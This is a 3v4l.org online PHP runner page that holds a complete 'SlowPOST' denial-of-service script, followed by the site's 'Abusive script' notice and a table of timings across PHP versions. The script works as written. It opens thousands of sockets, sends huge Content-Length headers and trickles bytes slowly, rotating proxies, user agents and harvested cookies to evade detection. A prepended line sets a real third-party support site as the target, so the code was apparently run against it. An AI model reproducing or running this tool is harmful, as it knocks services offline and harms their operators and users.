3v4l.org

run code in 300+ PHP versions simultaneously
<?php set_time_limit(0); ignore_user_abort(true); $_SERVER['argv'][1] = 'http://support.ioncube.com/winapp/'; ?><?php /** * Exploit Title: SlowPOST.php - POST Denial-Of-Service [v1.9.2] * * Date: 13.05.2013 * Author: NewEraCracker * License: Public Domain * * How to run using php command line: * Linux : php-cli SlowPOST.php * Windows : php SlowPOST.php * * This exploit might expose your IP Address in server logs. Be aware. */ //------------------------- // CONFiG //------------------------- $CONFIG['max_cookies'] = 20; $CONFIG['max_sockets'] = 9001; $CONFIG['timeout_ms'] = 500; $CONFIG['usleep_time'] = 10; //------------------------- // INiT //------------------------- // Define EXPLOIT_VERSION if(!defined('EXPLOIT_VERSION')) define('EXPLOIT_VERSION', 'v1.9.2'); // Define STDIN if(!defined('STDIN')) define('STDIN', fopen('php://stdin', 'r')); // Check SAPI if(PHP_SAPI != 'cli') { echo 'This script is not meant to be ran via browser.'; exit(1); } // Check PHP Version if(version_compare(PHP_VERSION, '5.0.4') < 0) { echo 'This support only supports PHP 5.0.4 and higher.'; exit(1); } // Globals - DO NOT EDIT $global_proxy_array = array(); //------------------------- // FUNCTiONS FOR THE LULZ //------------------------- /** Read STDIN and return it */ function readSTDIN() { $file = STDIN; if(!$file) return false; return trim(fgets($file)); } /** Receive a filename that has proxies listed in it and fills the $global_proxy_array */ function proxyLoadFile($filename) { global $global_proxy_array; // Load proxy list file $filename = str_replace('\\', '/', $filename); $content = @file_get_contents($filename); if(!$filename || !$content) { echo $filename.' is not a valid proxy-list file!'; exit(1); } $content = str_replace(array("\r\n", "\r"), "\n", $content); $content = explode("\n", $content); // Grab the proxies foreach($content as $value) { $tmp = explode(':', $value); if(isset($tmp[0], $tmp[1])) { $tmp[0] = trim($tmp[0]); $tmp[1] = (int)(trim($tmp[1])); // The proxy $global_proxy_array[] = array('host' => $tmp[0], 'port' => $tmp[1]); } } } /** Returns a random a proxy */ function proxyGetRandom() { global $global_proxy_array; // Give a random proxy if(count($global_proxy_array)) { $proxy = null; while(!$proxy) { $rand = mt_rand(0, count($global_proxy_array) - 1); $proxy = (isset($global_proxy_array[$rand]) ? $global_proxy_array[$rand] : null); } return $proxy; } return false; } /** Returns a random useragent */ function randomUserAgent() { // Microsoft Windows versions $os = array('5.0', '5.1', '5.2', '6.0', '6.1', '6.2'); // Select a random version $os = $os[mt_rand(0, count($os) - 1)]; // Select a random browser if(mt_rand(0, 1)) { // Internet Explorer versions $ua[0] = array('4.0', '7.0', '4.0'); $ua[1] = array('4.0', '8.0', '4.0'); $ua[2] = array('5.0', '9.0', '5.0'); $ua[3] = array('5.0', '10.0', '6.0'); // Random IE $ua = $ua[mt_rand(0, count($ua) - 1)]; return "Mozilla/{$ua[0]} (compatible; MSIE {$ua[1]}; Windows NT {$os}; Trident/{$ua[2]})"; } else { // Mozilla Firefox versions $ua = array('17.0', '18.0', '19.0', '20.0', '21.0'); // Random FF $ua = $ua[mt_rand(0, count($ua) - 1)]; return "Mozilla/5.0 (Windows NT {$os}; rv:{$ua}) Gecko/20100101 Firefox/{$ua}"; } } /** Opens a custom socket and returns it */ function openCustomSocket($newEraUrl, $newEraProxy = null) { global $CONFIG; @ini_set('default_socket_timeout', 1); $newEraConnection = (($newEraProxy == null) ? $newEraUrl : $newEraProxy); $host = (($newEraConnection->ssl) ? 'ssl://' : 'tcp://').$newEraConnection->name; $fp = @fsockopen($host, $newEraConnection->port); if(!$fp) return false; stream_set_blocking($fp, 0); stream_set_timeout($fp, 0, $CONFIG['timeout_ms']); return $fp; } /** * Receives a socket and performs the start of a slowPosting * Returns Content-Length on success and false on failure */ function slowPostStart($sock, $newEraUrl, $newEraProxy, $cookie) { // Check the socket if(!$sock) return false; // Generate a random Content-Length $length = mt_rand(1337, 133700); // Build $header = 'POST '.($newEraProxy ? $newEraUrl->full_url : $newEraUrl->path).' HTTP/1.1'."\r\n"; $header .= 'Host: '.$newEraUrl->name."\r\n"; $header .= 'Connection: Keep-Alive'."\r\n"; $header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n"; $header .= 'User-Agent: '.randomUserAgent()."\r\n"; $header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n"; $header .= 'Accept-Encoding: gzip,deflate'."\r\n"; $header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n"; $header .= 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'."\r\n"; $header .= mt_rand(0, 1) ? 'Referer: '.$newEraUrl->full_url."\r\n" : ''; $header .= ($cookie ? "Cookie: {$cookie}\r\n" : ''); $header .= 'Content-Length: '.$length."\r\n"; $header .= "\r\n"; // Do it @fwrite($sock, $header); return $length; } /** Receives a socket and continues the slowPosting */ function slowPostContinue($sock, $bytes = 5) { global $CONFIG; // Check the socket if(!$sock) return false; // Check the $bytes if(intval($bytes) != $bytes) $bytes = 5; // Throttle execution speed slightly if($CONFIG['usleep_time'] > 0) @usleep($CONFIG['usleep_time']); // Do it :D $tmp = ''; for($j = 0; $j < $bytes; $j++) $tmp .= chr(mt_rand(33, 126)); @fwrite($sock, urlencode($tmp)); return true; } //------------------------- // CLASSES FOR THE LULZ //------------------------- /** I want cookies! Give me cookies! */ class NewEraCookies { private $max_cookies; private $cookies = array(); /** Constructor */ public function __construct($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) { $this->update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile, $output); } /** Object updater */ public function update_object($newEraUrl, $newEraProxy, $max_cookies, $proxyFile = null, $output = false) { $this->max_cookies = $max_cookies; $this->cookies = array(); if($output) echo PHP_EOL.'BUILDING COOKIES '; for($i = 0; $i < $this->max_cookies; $i++) { // Using Proxy file? if($proxyFile) { $newproxy = proxyGetRandom(); if(!$newproxy) exit($proxyFile.' is not a valid proxy-list file!'); $newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']); } $this->cookies[$i] = self::cookieGrab($newEraUrl, $newEraProxy); if($output) echo '.'; } } /** Returns a cookie by its index */ public function returnCookieByIndex($idx) { if($idx == 'random') $idx = mt_rand(0, $this->max_cookies - 1); if(isset($this->cookies[$idx])) return $this->cookies[$idx]; return ''; } /** Function to parse set-cookie from header fields */ public static function cookieParse($header) { $cookies = array(); foreach($header as $line) { if(preg_match('/^Set-Cookie: /i', $line)) { $line = preg_replace('/^Set-Cookie: /i', '', trim($line)); $csplit = explode(';', $line); $cdata = array(); $grabbed_cookie_data = false; foreach($csplit as $data) { $cinfo = explode('=', $data); $cinfo[0] = trim($cinfo[0]); if(!$grabbed_cookie_data) { $cdata['value']['key'] = $cinfo[0]; $cdata['value']['value'] = $cinfo[1]; $grabbed_cookie_data = true; continue; } $cinfo[0] = strtolower($cinfo[0]); if($cinfo[0] == 'expires') $cinfo[1] = @strtotime($cinfo[1]); if($cinfo[0] == 'secure') $cinfo[1] = 'true'; if(in_array($cinfo[0], array('domain', 'expires', 'path', 'secure', 'comment'))) { $cdata[$cinfo[0]] = $cinfo[1]; } } $cookies[] = $cdata; } } return $cookies; } /** Function to build the request cookie header from parsed set-cookie data */ public static function cookieBuild($data) { if(is_array($data)) { $cookie = array(); foreach($data as $d) $cookie[] = $d['value']['key'].'='.$d['value']['value']; if(count($cookie) > 0) return trim(implode('; ', $cookie)); } return false; } /** Function to grab cookies from an url using PHP's fopen */ public static function cookieGrab($newEraUrl, $newEraProxy = null) { // Build connection header $header = 'Host: '.$newEraUrl->name."\r\n"; $header .= 'Connection: Keep-Alive'."\r\n"; $header .= 'Accept: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n"; $header .= 'User-Agent: '.randomUserAgent()."\r\n"; $header .= 'Accept-Language: en-US;q=0.8,en;q=0.6'."\r\n"; $header .= 'Accept-Encoding: gzip,deflate'."\r\n"; $header .= 'Keep-Alive: '.mt_rand(60, 120)."\r\n"; // Check proxy url if($newEraProxy) { // Enable proxy $proxy_url = $newEraProxy->full_url; $request_fulluri = true; } else { // Disable proxy $proxy_url = ''; $request_fulluri = false; } // Build stream context $context = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => (3), 'header' => $header, 'proxy' => $proxy_url, 'request_fulluri' => $request_fulluri, 'max_redirects' => (0), 'protocol_version' => (1.1), 'ignore_errors' => true ), 'ssl' => array( 'verify_peer' => false ) )); // Let the fun begin $cookie = ''; $handle = @fopen($newEraUrl->full_url, 'r', false, $context); // I hope this does work if($handle) { // If it worked, we grab the cookies $metadata = stream_get_meta_data($handle); $cookie = self::cookieBuild(self::cookieParse($metadata['wrapper_data'])); // Fun is only at a small distance @fclose($handle); } return $cookie; } } /** Class to construct and handle an url-like object */ class NewEraUrl { private $host_full_url; private $host_protocol; private $host_ssl; private $host_name; private $host_port; private $host_path; /** Constructor */ public function __construct($host_full_url) { $this->update_object($host_full_url); } /** Object updater */ public function update_object($host_full_url) { $this->host_full_url = $host_full_url; $this->host_ssl = ((strpos($this->host_full_url, 'https') === 0) ? true : false); $this->host_protocol = ($this->host_ssl ? 'https' : 'http'); // Grab other parameters $host_full_url = explode('/', $host_full_url, 4); $host_full_url[2] = explode(':', $host_full_url[2], 2); // Host, Port, Path $this->host_name = $host_full_url[2][0]; $this->host_port = (isset($host_full_url[2][1]) ? $host_full_url[2][1] : ($this->host_ssl ? 443 : 80)); $this->host_path = '/'.(isset($host_full_url[3]) ? $host_full_url[3] : ''); } /** Getter for the private properties */ public function __get($var) { $var = 'host_'.$var; if(isset($this->{$var})) return $this->{$var}; } /** Quick check to see if url is minimally valid */ public static function isValid($host_full_url) { if(strpos($host_full_url, 'https://') === 0 || strpos($host_full_url, 'http://') === 0) return true; } } /** Class to construct and handle a proxy-like object */ class NewEraProxy { private $proxy_full_url; private $proxy_protocol; private $proxy_ssl; private $proxy_name; private $proxy_port; /** Constructor */ public function __construct($proxy_full_url) { $this->update_object($proxy_full_url); } /** Object updater */ public function update_object($proxy_full_url) { $this->proxy_full_url = $proxy_full_url; $this->proxy_ssl = ((strpos($this->proxy_full_url, 'ssl') === 0) ? true : false); $this->proxy_protocol = ($this->proxy_ssl ? 'ssl' : 'tcp'); // Grab other parameters if(false !== ($tmp = strpos($proxy_full_url, '://'))) $proxy_full_url = substr($proxy_full_url, $tmp + 3); $proxy_full_url = explode(':', $proxy_full_url); // Host, Port, Path $this->proxy_name = $proxy_full_url[0]; $this->proxy_port = (int)(isset($proxy_full_url[1]) ? $proxy_full_url[1] : ($this->proxy_ssl ? '443' : '80')); } /** Getter for the private properties */ public function __get($var) { $var = 'proxy_'.$var; if(isset($this->{$var})) return $this->{$var}; } } //------------------------- // MAiN CODE FOR THE LULZ //------------------------- echo " _______. __ ______ ____ __ ____ / || | / __ \ \ \ / \ / / | (----`| | | | | | \ \/ \/ / \ \ | | | | | | \ / .----) | | `----.| `--' | \ /\ / |_______/ |_______| \______/ \__/ \__/ .______ ______ _______.___________. | _ \ / __ \ / | | | |_) | | | | | | (----`---| |----` | ___/ | | | | \ \ | | | | | `--' | .----) | | | | _| \______/ |_______/ |__| "; echo PHP_EOL.EXPLOIT_VERSION.' by NewEraCracker'.PHP_EOL; // Fetch the URL to attack $url = null; if(isset($_SERVER['argv'][1]) && NewEraUrl::isValid($_SERVER['argv'][1])) $url = $_SERVER['argv'][1]; // Fetch proxy to use $proxy['host'] = null; $proxy['port'] = null; $proxy['file'] = false; if(!empty($url) && isset($_SERVER['argv'][2])) { if($proxy = explode(':', $_SERVER['argv'][2])) { if(isset($proxy[0], $proxy[1])) { $proxy['file'] = false; $proxy['host'] = $proxy[0]; $proxy['port'] = (int)($proxy[1]); unset($proxy[0], $proxy[1]); } } if(!(isset($proxy['host'], $proxy['port'])) && is_readable($_SERVER['argv'][2])) { $proxy['file'] = true; $proxy['filename'] = $_SERVER['argv'][2]; } } // Ask for proxy if(empty($url) && (empty($proxy['host']) || empty($proxy['port'])) && !$proxy['file']) { $proxy['use'] = null; while(!$proxy['use']) { echo PHP_EOL.'Do you want to use a proxy [yes/no/file]: '; $proxy['use'] = readSTDIN(); if(strpos(strtolower($proxy['use']), 'n') === 0) { break; } elseif(strpos(strtolower($proxy['use']), 'y') === 0) { echo PHP_EOL.'Proxy IP: '; $proxy['host'] = readSTDIN(); echo PHP_EOL.'Proxy Port: '; $proxy['port'] = (int)(readSTDIN()); } elseif(strpos(strtolower($proxy['use']), 'f') === 0) { echo PHP_EOL.'Proxy file: '; $proxy['filename'] = readSTDIN(); if(is_readable($proxy['filename'])) { $proxy['file'] = true; } else { echo PHP_EOL.'Invalid file!'.PHP_EOL; $proxy['use'] = null; } } else { $proxy['use'] = null; echo PHP_EOL.'Invalid choice!'.PHP_EOL; } } unset($proxy['use']); } // Ask for target URL while(!$url) { echo PHP_EOL.'Target url: '; $url = readSTDIN(); if(NewEraUrl::isValid($url)) break; $url = null; echo PHP_EOL.'Invalid target!'.PHP_EOL; } // Init proxy suport if(empty($proxy['host']) || empty($proxy['port'])) { $newEraProxy = null; if(!empty($proxy['file'])) { proxyLoadFile($proxy['filename']); $newproxy = proxyGetRandom(); if(!$newproxy) exit($proxy['filename'].' is not a valid proxy-list file!'); $newEraProxy = new NewEraProxy('tcp://'.$newproxy['host'].':'.$newproxy['port']); } } else { $newEraProxy = new NewEraProxy('tcp://'.$proxy['host'].':'.$proxy['port']); } // Init the others $newEraUrl = new NewEraUrl($url); $newEraCookies = new NewEraCookies($newEraUrl, $newEraProxy, $CONFIG['max_cookies'], $proxy['file'], true); // Start echo PHP_EOL.'IMMA FIRIN MAH LAZOR '; $fp = array(); // Do it while(1) { for($i = 0; $i < $CONFIG['max_sockets']; $i++) { // Using Proxy file? if($proxy['file']) { $newproxy = proxyGetRandom(); if(!$newproxy) exit($proxy['filename'].' is not a valid proxy-list file!'); $newEraProxy->update_object('tcp://'.$newproxy['host'].':'.$newproxy['port']); } // Open a new socket $tmp = array(); if($tmp['sock'] = openCustomSocket($newEraUrl, $newEraProxy)) { // Progress bar echo '.'; // Start a new slowPost and find its length if($tmp['length'] = slowPostStart($tmp['sock'], $newEraUrl, $newEraProxy, $newEraCookies->returnCookieByIndex('random'))) { if(isset($fp[$i], $fp[$i]['sock'])) { // Close connection in the global socket array if it is being used @fclose($fp[$i]['sock']); unset($fp[$i]); } // Save the new socket in the global socket array $fp[$i] = $tmp; } else { // Epic fail? @fclose($tmp['sock']); } } unset($tmp); // Check the current sockets foreach($fp as $k => $v) { if($fp[$k]['length'] > 0) { // Contine old slowPosts $tmp = ($fp[$k]['length'] < 5) ? $fp[$k]['length'] : 5; slowPostContinue($fp[$k]['sock'], $tmp); $fp[$k]['length'] -= $tmp; } else { // Close completed slowPosts @fclose($fp[$k]['sock']); unset($fp[$k]); } } } } ?>

Abusive script

This script was stopped while abusing our resources

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.111.1820.81920.94
8.3.101.1920.80924.06
8.3.91.1030.90026.77
8.3.80.9641.03418.68
8.3.71.1620.83917.38
8.3.61.1630.84016.98
8.3.51.1920.80918.44
8.3.41.2090.79319.49
8.3.31.2490.75319.44
8.3.21.2490.75319.27
8.3.11.2310.76321.08
8.3.01.1630.84019.63
8.2.231.2030.79922.58
8.2.221.1970.80737.54
8.2.211.1460.85626.77
8.2.201.0150.99217.25
8.2.191.1860.81617.25
8.2.181.0950.90517.25
8.2.171.2030.80022.96
8.2.161.2360.76619.72
8.2.151.1900.81324.18
8.2.141.2450.75624.66
8.2.131.1460.85626.16
8.2.121.1520.84920.94
8.2.111.1450.86121.05
8.2.101.0130.99018.16
8.2.90.6471.35619.72
8.2.80.6291.37218.13
8.2.70.6561.34518.25
8.2.60.6831.32018.30
8.2.50.6611.34519.48
8.2.40.7131.28918.50
8.2.30.7041.30120.25
8.2.20.6991.30218.35
8.2.10.6831.31918.26
8.2.00.7031.29918.33
8.1.291.0600.94330.84
8.1.281.1460.85625.92
8.1.271.2060.79624.66
8.1.261.1680.83226.35
8.1.251.1390.86328.09
8.1.241.1220.87924.15
8.1.231.1230.88017.95
8.1.220.6631.33918.29
8.1.210.6501.35318.77
8.1.200.6861.31517.73
8.1.190.6591.34117.72
8.1.180.6761.32618.10
8.1.170.6531.35019.02
8.1.160.6871.30919.45
8.1.150.6631.34019.20
8.1.140.7081.29918.02
8.1.130.7301.27318.33
8.1.120.6131.38917.96
8.1.110.6661.33517.90
8.1.100.6531.35017.86
8.1.90.7521.24817.95
8.1.80.6991.30217.91
8.1.70.6801.32317.96
8.1.60.5701.43418.02
8.1.50.6001.40217.86
8.1.40.6431.36017.84
8.1.30.6431.35818.01
8.1.20.5761.42517.95
8.1.10.6101.39217.88
8.1.00.6661.33617.97
8.0.300.6501.35218.77
8.0.290.6651.34417.13
8.0.280.6551.34418.94
8.0.270.6291.37117.34
8.0.260.7051.29417.33
8.0.250.6531.34917.54
8.0.240.6401.36317.26
8.0.230.6781.32817.30
8.0.220.6061.39617.21
8.0.210.6531.35017.27
8.0.200.6931.30917.39
8.0.190.6531.34917.40
8.0.180.6301.37317.32
8.0.170.6401.36217.20
8.0.160.5931.40817.53
8.0.150.6491.35117.40
8.0.140.6521.34717.18
8.0.130.6571.34814.00
8.0.121.4680.49717.24
8.0.111.4940.44517.41
8.0.101.5300.41417.41
8.0.91.4940.41317.41
8.0.81.3970.53317.34
8.0.71.5030.44417.43
8.0.61.4360.51717.37
8.0.51.4990.44717.41
8.0.31.4930.46217.61
8.0.21.4510.50617.50
8.0.11.5090.44117.32
8.0.01.4720.43617.21
7.4.330.5931.41013.49
7.4.320.5931.41016.88
7.4.300.5791.42116.84
7.4.290.6331.36816.90
7.4.280.6061.39616.83
7.4.270.5971.40716.79
7.4.260.5931.40913.69
7.4.251.5230.41216.98
7.4.241.5230.42416.88
7.4.231.5020.47316.85
7.4.221.3910.54616.79
7.4.211.3520.58016.90
7.4.201.4580.47616.95
7.4.191.4050.52316.84
7.4.161.4470.49916.89
7.4.151.4860.46916.82
7.4.141.4650.49416.87
7.4.131.4630.50116.94
7.4.121.4580.50316.89
7.4.111.5310.50916.98
7.4.101.4950.55116.82
7.4.91.5020.53816.84
7.4.81.3480.63819.39
7.4.71.3400.57216.95
7.4.61.3940.61416.90
7.4.51.4770.44916.71
7.4.41.4230.62316.90
7.4.31.4370.57416.88
7.4.01.4730.51815.33
7.3.330.5961.40413.94
7.3.320.6661.33513.71
7.3.311.5370.41216.88
7.3.301.4060.52816.98
7.3.291.3630.57516.86
7.3.281.2810.54216.84
7.3.271.4920.46016.86
7.3.261.4650.49316.88
7.3.251.4640.46916.82
7.3.241.3920.57216.98
7.3.231.3550.50316.92
7.3.211.5550.49216.80
7.3.201.3760.62617.00
7.3.191.4210.55116.71
7.3.181.2290.60316.81
7.3.171.4200.55417.05
7.3.161.4270.59517.13
7.3.121.5360.45115.38
7.2.331.5220.53317.18
7.2.321.3780.58516.93
7.2.311.3490.64217.16
7.2.301.4900.52417.23
7.2.291.4470.54717.16
7.2.02.0130.44219.54
7.1.101.9940.46218.37
7.1.70.0000.00917.47
7.1.60.0160.01019.40
7.1.50.0030.01517.52
7.0.200.0130.00315.45
preferences:
89.13 ms | 403 KiB | 5 Q